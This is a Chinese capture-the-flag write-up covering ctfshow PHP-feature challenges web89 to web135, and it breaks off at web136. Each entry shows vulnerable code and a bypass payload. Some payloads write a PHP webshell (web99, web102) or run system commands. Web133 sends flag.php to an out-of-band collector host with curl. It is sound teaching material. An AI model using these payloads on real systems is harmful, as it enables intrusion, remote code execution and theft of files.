ctfshow-php特性

web89 10

<?php
include("flag.php");
highlight_file(__FILE__);

if(isset($_GET['num'])){
    $num = $_GET['num'];
    if(preg_match("/[0-9]/", $num)){
        die("no no no!");
    }
    if(intval($num)){
        echo $flag;
    }
}

正则只过滤字符串中是否存在数字,进行数组绕过

?num[]=1

web90 10

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

intval()在转换时会忽略非数字字符(从第一个非数字字符开始),它也是个取整函数

基本语法

intval(mixed $value, int $base = 10): int
  • $value:要转换的变量(可以是字符串、浮点数、布尔值等)。
  • $base(可选):转换时使用的进制基数,默认值为 10(十进制)。为0则是自主匹配进制
?num=4476a
//或者
?num=4476.1

web91 10

<?php
show_source(__FILE__);
include('flag.php');
$a=$_GET['cmd'];
if(preg_match('/^php$/im', $a)){
    if(preg_match('/^php$/i', $a)){
        echo 'hacker';
    }
    else{
        echo $flag;
    }
}
else{
    echo 'nonononono';
}
  • /^php$/im:允许输入包含多个行,只要其中任何一行是php(忽略大小写),就算匹配成功
  • m修饰符允许^和$匹配行的开头和结尾,而非整个字符串,把php放中间
i不区分大小写匹配
m多行匹配,^和$将匹配,每一行的开头和结尾
s单行模式,“.”号可以匹配换行符
x忽略正则中的空白和注释
u强制按UTF-8处理字符
A强制从目标字符串的起始位置开始匹配(相当于模式以^开头)
D若使用$,不匹配换行符之后的位置
U非贪婪模式(反转量词的贪婪行为)
?cmd=test
php
test
//url编码后
?cmd=test%0Aphp%0Atest

web92 10

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

变成了弱比较,浮点数截断

?num=4476.2
//或者
?num=4478e1
//指数绕过

web93 10

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(intval($num,0)==4476){
        echo $flag;
    }else{
        echo intval($num,0);
    }
}

禁用字母,用浮点数绕过

?num=4476.1

或者使用进制转换

可以使用其他进制就是计算 0b?? : 二进制0??? : 八进制 0X?? : 16进制

payload : ?num=010574

web94 10

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==="4476"){
        die("no no no!");
    }
    if(preg_match("/[a-z]/i", $num)){
        die("no no no!");
    }
    if(!strpos($num, "0")){
        die("no no no!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

strpos() 函数查找字符串在另一字符串中第一次出现的位置。他会查找num传入数据中的“0”并返回位置,在第几位就返回几。如果0在首位,会返回“0”,在这里就变成了“!0”,仍然被识别为true,然后执行die,这里的0要出现在非首位。

?num=4476.0

web95 10

<?php
include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){
        die("no no no!!");
    }
    if(!strpos($num, "0")){
        die("no no no!!!");
    }
    if(intval($num,0)===4476){
        echo $flag;
    }
}

.过滤了,进制转换,只有八进制符合,

?num=+010574
//或者
?num=%2b010574

web96 10

<?php
highlight_file(__FILE__);
 
if(isset($_GET['u'])){
    if($_GET['u']=='flag.php'){
        die("no no no");
    }else{
        highlight_file($_GET['u']);
    }
}

尝试直接读取文件,查找当前目录

Linux特性,./表示档期那目录

?u=./flag.php

web97 10

<?php
include("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>

进行数组绕过

任何数组的 MD5 哈希值都是NULL

a[]=1&b[]=2

web98 10

<?php
include("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
 
?>

看一下代码

$_GET?$_GET=&$_POST:'flag';
/*
三元运算符。
$_GET 变量是一个数组,内容是 GET 方法发送的变量名称和值,类似于字典。
如果 $_GET 变量不为空,则 $_GET 变量和 $_POST 变量指向同一个地址,即$_POST 变量内容会影响 $_GET 变量的内容。
如果 $_GET 变量为空,整个三元表达式的结果为 ’flag’。
*/

$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
/*
如果 flag 变量值为 ’flag’,则 $_GET 变量和 $_COOKIE 变量指向同一个地址;
否则返回flag。
*/

$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
/*
如果flag变量值为’flag’,则 $_GET 变量和 $_SERVER 变量指向同一个地址;
否则返回flag。
*/

highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
/*
如果 HTTP_FLAG 变量值为 ’flag’,输出 $flag,否则输出当前文件。
*/

Get随便传

//get:
?dummy=1
//post:
HTTP_FLAG=flag

web99 10

<?php
highlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { 
    array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
    file_put_contents($_GET['n'], $_POST['content']);
}
 
?>

in_array() 函数特性:第三个参数没有设置的时候,为弱类型比较。例如比较 1.php 时会自动转换为 1 再比较

通过 GET 传递值来命名 PHP 文件,再通过 POST 传递 webshell 写入文件。之后访问此 webshell 即可。

//get
?n=45.php
//post
content=<?php system($_POST[1]);?>

web100 10

<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\;/", $v2)){
        if(preg_match("/\;/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}
 
 
?>

$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);是关键突破口,PHP 中赋值运算符 = 的优先级高于逻辑运算符 and,运算符优先级:&& > || > = > and > or

因此这行代码的执行顺序等价于:

$v0 = is_numeric($v1);  // 先执行赋值,$v0 仅由 is_numeric($v1) 的结果决定
is_numeric($v2) and is_numeric($v3);  //这部分逻辑运算对 $v0 无影响(被“短路”)

因此,只要 is_numeric($v1) 返回 true$v0 就为 true,能通过外层 if($v0) 判断。

"$v2('ctfshow')$v3"对于v2和v3会进行拼接

构造一段不含分号的代码var_dump($ctfshow),用于输出 $ctfshow 对象同时用注释截断多余内容,避免传入v3时导致的语法问题

?v1=1&v2=var_dump($ctfshow)/*&v3=*/;
//或
?v1=123&v2=system('nl *.php')/*&v3=*/;

web101 10

<?php
highlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\)|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\;|\?|[0-9]/", $v2)){
        if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\\$|\%|\^|\*|\(|\-|\_|\+|\=|\{|\[|\"|\'|\,|\.|\?|[0-9]/", $v3)){
            eval("$v2('ctfshow')$v3");
        }
    }
    
}
 
?>

在上一题的基础上禁用了一堆符号,注释解法不可用了

PHP反射机制

ReflectionClass 是 PHP 内置类,用于动态获取类的元数据(如属性、方法、权限等)。即使属性是 private,反射也能强制读取其值。

?v1=1&v2=echo new Reflectionclass&v3=;

最后一位字符爆破

web102 10

<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);//把V1的值当成函数名,把$s的值当成该函数的第一个参数去执行
    echo $str;
    file_put_contents($v3,$str);
}
else{
    die('hacker');
}
?>
  • file_put_contents 是 PHP 中用于将字符串写入文件的函数。如果文件不存在,它会创建一个新文件,如果文件已存在,它会覆盖文件内容,除非设置了 FILE_APPEND 标志。
  • 运算符优先级
  • 构造$v3为php://filter/write=convert.base64-decode/resource=shell.php。这个伪协议的作用是:将我们要写入的内容进行base64解码后再写入文件。这样我们就可以把base64编码的webshell写进去,避免被过滤。
  • call_user_func()函数允许调用一个回调函数,这个回调函数可以是一个简单的函数名,一个方法名,或者一个包含函数名的数组。关键特性:它可以接受一个可变数量的参数,这些参数会传递给回调函数。
  • V2的webshell是<?=`cat *`;,十六进制3c3f3d6576616c28245f504f53545b315d293b3f3e,为了绕过在十六进制前加两个11
GET:
?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=sh.php
POST:
v1=hex2bin

web103 10

<?php
highlight_file(__FILE__);
$v1 = $_POST['v1'];
$v2 = $_GET['v2'];
$v3 = $_GET['v3'];
$v4 = is_numeric($v2) and is_numeric($v3);
if($v4){
    $s = substr($v2,2);
    $str = call_user_func($v1,$s);
    echo $str;
    if(!preg_match("/.*p.*h.*p.*/i",$str)){
        file_put_contents($v3,$str);
    }
    else{
        die('Sorry');
    }
}
else{
    die('hacker');
}
 
?>

正则匹配过滤,但是不影响,payload同上

GET:
?v2=115044383959474e6864434171594473&v3=php://filter/write=convert.base64-decode/resource=sh.php
POST:
v1=hex2bin

web104 10

<?php
highlight_file(__FILE__);
include("flag.php");
 
if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2)){
        echo $flag;
    }
}
?>

两个参数传同样的值就可以过了,还能0e绕过

web105 10

<?php
highlight_file(__FILE__);
include('flag.php');
error_reporting(0);
$error='你还想要flag嘛?';
$suces='既然你想要那给你吧!';
foreach($_GET as $key => $value){
    if($key==='error'){
        die("what are you doing?!");
    }
    $$key=$$value;
}foreach($_POST as $key => $value){
    if($value==='flag'){
        die("what are you doing?!");
    }
    $$key=$$value;
}
if(!($_POST['flag']==$flag)){
    die($error);
}
echo "your are good".$flag."\n";
die($suces);
?>

利用变量覆盖,让 $suces$error 都等于 $flag。这样无论如何根据代码的输出都能得知 flag

$$a是一种特殊的变量语法,用来实现变量覆盖:

$foo = 'bar';
$bar = 'Hello, World!';

// 使用 $$foo 来访问 $bar 的值
// 因为 $foo 的值是 'bar' ,所以 $$foo 实际上等同于 $bar 
// 最终输出 'Hello, World!' 。
echo $$foo;

完整思路

  • GET 传参 ?suces=flag → 让 $suces = $flag(把 flag 的值 “暂存” 到 $suces)。
  • POST 传参 error=suces → 让 $error = $suces → 最终 $error = $flag(把 flag 的值 “传递” 到 $error)。
  • 验证失败触发 die($error) → 由于 POST 没有传 flag,验证不通过,执行 die($error) → 此时 $error 已经是 flag 的值 → 输出 flag。
//get传参
?suces=flag
//post传参
error=suces

web106 10

<?php
highlight_file(__FILE__);
include("flag.php");
 
if(isset($_POST['v1']) && isset($_GET['v2'])){
    $v1 = $_POST['v1'];
    $v2 = $_GET['v2'];
    if(sha1($v1)==sha1($v2) && $v1!=$v2){
        echo $flag;
    }
}
?>

科学计数法绕过或数组绕过

aaroZmOk
aaK1STfY
aaO8zKZF
aa3OFF9m
0e1290633704
10932435112

web107 10

<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
 
if(isset($_POST['v1'])){
    $v1 = $_POST['v1'];
    $v3 = $_GET['v3'];
       parse_str($v1,$v2);
       if($v2['flag']==md5($v3)){
           echo $flag;
       }
}
?>

post传v1的值,然后将V1的值赋给V2,取出v2中键名为flag所对应的值和V3的md5值比较

可以进行数组绕过

//get
?v3[]=MAUXXQC
//post
v1[]=1

进行变量覆盖

//get
?v3=MAUXXQC
//post
v1=flag=0

web108 10

<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
 
if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {
    die('error');
 
}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
    echo $flag;
}
?>

ereg()中只允许字母出现,可以进行%00截断,0x36d进制转换出来是877,strrev()对c的传参内容进行反转

?c=a%00778

web109 10

<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];
 
    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
            eval("echo new $v1($v2());");
    }
 
}
?>

只能传入字母,$v1($v2());这里会对传入的字母进行拼接,看到new,反射类操作

?v1=Exception&v2=system('tac fl36dg.txt')
  • 对于 v2 后面的括号,只要变量后面紧跟着(),就会对这个变量作为函数进行调用。
  • Exception 是 PHP 自带的“异常”类;只要 throw 或 new 它,就能把错误信息封装成一个对象,随后用 try-catch 捕获,或者直接 echo 让它自动转成字符串并打印。

或者

{使用php自带的内置方法} {在php官方文档找到带有::__toString的后缀,这种是类} {把带__toString的函数罗列一些出来}

CachingIterator::__toString() DirectoryIterator::__toString Error::__toString Exception::__toString

?v1= CachingIterator&v2=system(ls)

?v1= DirectoryIterator&v2=system(ls)

?v1= Error&v2=system(ls)

?v1= Exception&v2=system(ls)

参考文章:https://blog.csdn.net/qq_44657899/article/details/109558430

web110 10

<?php
highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];
 
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
            die("error v2");
    }
 
    eval("echo new $v1($v2());");
 
}
?>
  • php 内置类,利用 FilesystemIterator 获取指定目录下的所有文件。
  • getcwd() 函数,获取当前工作目录,返回当前工作目录。
?v1=FilesystemIterator&v2=getcwd

参考文章:https://blog.csdn.net/KeepPromise/article/details/133466218#web93_90

web111 10

<?php
highlight_file(__FILE__);
error_reporting(0);
include("flag.php");
 
function getFlag(&$v1,&$v2){
    eval("$$v1 = &$$v2;");
    var_dump($$v1);
}
 
 
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];
 
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
            die("error v2");
    }
    
    if(preg_match('/ctfshow/', $v1)){
            getFlag($v1,$v2);
    }
}
?>
  • v1和v2只能输入字母,同时1要包含字符串ctfshow
  • &属于地址传参,意思就是在函数内,如果对v1和v2变量进行修改,就是真实的被修改了。因此题目说的是变量覆盖。
  • $flag是在外部声明,不能直接使用,
  • 可以利用 $GLOBALS 作为一个包含所有变量的超全局数组,使得 $ctfshow = &$GLOBALS 后,直接 var_dump($ctfshow) 就能输出 $flag 的值。
?v1=ctfshow&v2=GLOBALS

web112 10

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
        die("hacker!");
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}
  • is_file($file) 检查 $file 是否为真实存在的文件。
  • 如果是真实文件,输出 hacker!。
  • 如果不是真实文件(如伪协议、不存在的路径),则调用 highlight_file(filter($file))。

过滤了一大堆,但还是有的用的,绕过方式

伪协议?file=php://filter/read=convert.iconv.UTF-8.UTF-7/resource=flag.php或?file=php://filter/resource=flag.php
过滤器?file=php://filter/read=convert.quoted-printable-encode/resource=flag.php
大小写绕过?file=PHP://filter/read=convert.base64-encode/resource=flag.php
压缩流?file=compress.zlib://flag.php
?file=php://filter/read=convert.iconv.UTF-8.UTF-7/resource=flag.php

web113 10

<?php
highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

加了个php://filter/… 无法使用,但是还是可以用别的,zip伪协议

?file=compress.zlib://flag.php

web114 10

<?php
error_reporting(0);
highlight_file(__FILE__);
function filter($file){
    if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

zip禁用,但是filter可用

?file=php://filter/resource=flag.php

web115 10

<?php
include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
    $num=str_replace("0x","1",$num);
    $num=str_replace("0","1",$num);
    $num=str_replace(".","1",$num);
    $num=str_replace("e","1",$num);
    $num=str_replace("+","1",$num);
    return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
    if($num=='36'){
        echo $flag;
    }else{
        echo "hacker!!";
    }
}else{
    echo "hacker!!!";
}

str_replace是 PHP 中用于字符串替换的函数,支持数组作为参数,能够对多个值进行替换操作。

trim 除了单词之间的单个空格外,移除字符串两侧的空白字符或其他预定义字符。

trim()函数会去掉num里的%0a %0b %0d %20 %09 这里只有%0c可用。%0c==\f

?num=%0c36

web123 10

<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
?>

传三个参数,CTF_SHOW,CTF_SHOW.COM,fun,

知识点:在php中变量名只有数字、字母、下划线,被get或者post传入的变量名,如果含有空格、+、[则会被转化为_。但如果传入[,它被转化为_之后,后面的字符就会被保留下来,不会被替换

POST:
CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag

web125 10

<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
         eval("$c".";");
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
?>

过滤了echo等函数,用highlight_file替换,同时利用嵌套绕过

//get
?1=flag.php
//post
CTF_SHOW=1&CTF[SHOW.COM=1&fun=highlight_file($_GET[1])

web126 10

<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}

$_SERVER['argv'] 是一个数组,包含所有传入的参数。

  • GET 参数设计:?a=1+fl0g=flag_give_me

这里利用了$_SERVER[‘argv’]的特性,在 URL 中用+分隔的参数会被解析为数组元素

a=_SERVER['argv']会将其解析为$a[0] = '1'和$a[1] = 'fl0g=flag_give_me'

  • parse_str()是 PHP 的内置函数,作用是将字符串解析为变量
  • 这里$a[1]的值是fl0g=flag_give_me

执行后相当于$fl0g = "flag_give_me",正好满足代码中if($fl0g===”flag_give_me”)的条件

//get: 
?a=1+fl0g=flag_give_me
//post: 
CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])

或者

?$fl0g=flag_give_me;

在 PHP 中,当通过命令行模式运行脚本时,$_SERVER[‘argv’]会存储命令行参数,第一个元素($a[0])通常是脚本文件名。

但在某些 Web 服务器配置下(尤其是 CGI 模式),URL 中的查询字符串会被解析到$_SERVER[‘argv’]中,此时?$fl0g=flag_give_me;会使$a[0]的值变为$fl0g=flag_give_me;

fun=eval($a[0])

eval函数不在过滤关键字列表中(过滤规则中禁止了echo、var_dump等,但没有禁止eval)。

执行后相当于eval(‘$fl0g=flag_give_me;’),直接将$fl0g变量赋值为flag_give_me,满足代码中if($fl0g===”flag_give_me”)的条件,从而输出 flag。

//get:
?$fl0g=flag_give_me;
//post:
CTF_SHOW=&CTF[SHOW.COM=&fun=eval($a[0])
//或者
CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])

web127 10

<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];
 
 
//特殊字符检测
function waf($url){
    if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
        return true;
    }else{
        return false;
    }
}
 
if(waf($url)){
    die("嗯哼?");
}else{
    extract($_GET);
}
 
 
if($ctf_show==='ilove36d'){
    echo $flag;
}

当 GET 参数名中包含空格时,PHP 会自动将空格转换为下划线_

?%63%74%66%5f%73%68%6f%77=ilove36d # urlencode绕过
?ctf show=ilove36d # 空格会被转换为_

web128 10

<?php
error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
 
$f1 = $_GET['f1'];
$f2 = $_GET['f2'];
 
if(check($f1)){
    var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
    echo "嗯哼?";
}
 
 
 
function check($str){
    return !preg_match('/[0-9]|[a-z]/i', $str);
} 

一个新的姿势,当php扩展目录下有php_gettext.dll时:

_()是一个函数。

_()==gettext() 是gettext()的拓展函数,开启text扩展get_defined_vars — 返回由所有已定义变量所组成的数组。

call_user_func — 把第一个参数作为回调函数调用,第一个参数是被调用的回调函数,其余参数是回调函数的参数。

当正常的gettext(“get_defined_vars”);时会返还get_defined_vars

为了绕过正则,_()函数和gettext()的效果一样,所以可以用_()函数代替gettext()函数。

call_user_func会利用_()将get_defined_vars返还出来然后再有一个call_user_func来调用get_defined_vars函数,然后利用var_dump函数就可以得到flag。

我觉的比较好的理解是

  • 在 PHP 中,下划线_是一个特殊的变量,它会保存最后一次表达式的值。当把它作为函数名调用时:
  • call_user_func($f1, $f2) 相当于 call_user_func(‘_’, ‘get_defined_vars’),这实际上会调用_(‘get_defined_vars’),在 PHP 中这相当于直接返回字符串 ‘get_defined_vars’
  • 所以外层的call_user_func()就变成了call_user_func(‘get_defined_vars’)
  • get_defined_vars()是 PHP 的内置函数,用于返回当前作用域中所有已定义的变量的数组,这个数组中会包含从 flag.php 中引入的 $flag 变量

payload

?f1=_&f2=get_defined_vars

web129 10

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
    $f = $_GET['f'];
    if(stripos($f, 'ctfshow')>0){
        echo readfile($f);
    }
}

GET 方式传递f参数,且该参数的值中包含ctfshow(不区分大小写)且ctfshow不是从开头开始时,就会读取并显示f参数指定的文件内容。

经过测试,只有绝对路径有用,相对路径是无效的

?f=/ctfshow/../var/www/html/flag.php

web130 10

<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    $f = $_POST['f'];
 
    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f, 'ctfshow') === FALSE){
        die('bye!!');
    }
 
    echo $flag;
 
}

必须包含ctfshow(不区分大小写),ctfshow前面不能有任何字符(包括空格、特殊字符等)

  • 正则表达式/.+?ctfshow/is表示:f中存在任意字符(至少 1 个)后面跟着ctfshow
  • i修饰符表示不区分大小写,s修饰符让.匹配换行符,如果满足这个条件,就输出bye!并终止程序
?f=ctfshow

web131 10

<?php
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    $f = (String)$_POST['f'];
 
    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f,'36Dctfshow') === FALSE){
        die('bye!!');
    }
 
    echo $flag;
 
}
  1. 必须包含36Dctfshow(不区分大小写)
  2. ctfshow前面不能有任何字符(包括36D之后的字符也不行)

PCRE回溯

当正则表达式匹配到某个位置失败时,引擎会 “退回” 到之前的状态,尝试其他可能的匹配路径,直到找到有效匹配或确认匹配失败

当回溯次数超过 PCRE 限制,preg_match() 返回 false,相当于 “绕过了正则检查”

import requests
url="http://0e826a72-c768-46a9-ad42-1e3aa8d1edd8.challenge.ctf.show/"
data={
    'f':'a'*1000000+'36Dctfshow'
}
r=requests.post(url,data=data)
print(r.text)

web132 10

先robots.txt,再/admin回显如下

<?php
#error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
 
 
if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
    $username = (String)$_GET['username'];
    $password = (String)$_GET['password'];
    $code = (String)$_GET['code'];
 
    if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
        
        if($code == 'admin'){
            echo $flag;
        }
        
    }
}

运算符优先级(&&高于||)

if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin")等价于

( $code === mt_rand(1,0x36D) && $password === $flag ) || ( $username ==="admin" )

两个条件满足一个即可

条件 1:$code严格等于mt_rand(1,0x36D)的结果 并且 $password严格等于$flag

条件 2:$username严格等于 “admin”

?username=admin&password=123&code=admin

web133 10

<?php
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("6个字母都还不够呀?!");
    }
}

只读取前6个字符去执行命令,禁止命令执行函数,没有写入权限

变量覆盖+无回显命令执行dns_bp外带

?F=`$F`;+sleep 3好像网站确实sleep了一会说明的确执行了命令

  • 反引号在PHP中是shell_exec ()` 的简写,用于执行系统命令并返回结果
  • 截取$F的前 6 个字符:`$F`;+作为PHP代码执行
  • 反引号在 PHP 中是shell_exec()的语法糖,即命令`等价于shell_exec(‘命令’),所以$F会被解析为执行shell_exec($F),其中$F是我们传入的完整参数值(即$F`;+sleep 3)
# payload 
#-X 强制指定 HTTP 请求使用的方法(如 GET、POST、PUT、DELETE 等)
#其中-F 为带文件的形式发送post请求
#xx是上传文件的name值,flag.php就是上传的文件 
#@符号表示 “读取本地文件flag.php的内容”,并将其作为xx字段的值发送
?F=`$F`;+curl -X POST -F xx=@flag.php  http://ywy91jh961vkpomwhzyn9q5dz45vtlha.oastify.com

参考文章:https://blog.csdn.net/qq_46091464/article/details/109095382

web134 10

<?php
highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
    die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
    die(file_get_contents('flag.php'));
}
  • 禁止直接传递 key1/key2 参数,
  • $_SERVER[‘QUERY_STRING’] 表示 URL 中 ? 后面的查询字符串(例如 ?a=1&b=2 中的 a=1&b=2)
  • parse_str() 函数会将查询字符串解析为变量(键为变量名,值为变量值),例如:如果查询字符串是 x=1&y=2,会生成 $x=1 和 $y=2
  • key1等于36d,key2 等于 36d 时,会读取并输出 flag.php 的内容
  • extract($_POST);,这函数可以传数组,可以进行变量覆盖。注意这里变量名叫_POST,而不是个方法。

extract() 函数用于将数组中的键值对导入到当前的符号表中,键名作为变量名,键值作为变量值。

?_POST[key1]=36d&_POST[key2]=36d

web135 10

<?php
error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("师傅们居然破解了前面的,那就来一个加强版吧");
    }
}

cp可以把flag.php复制去我们可以访问的文件,方式类似于web133

?F=`$F`;+cp flag.php 1.txt

web136 10

<?php
error_reporting(0);
function check($x){
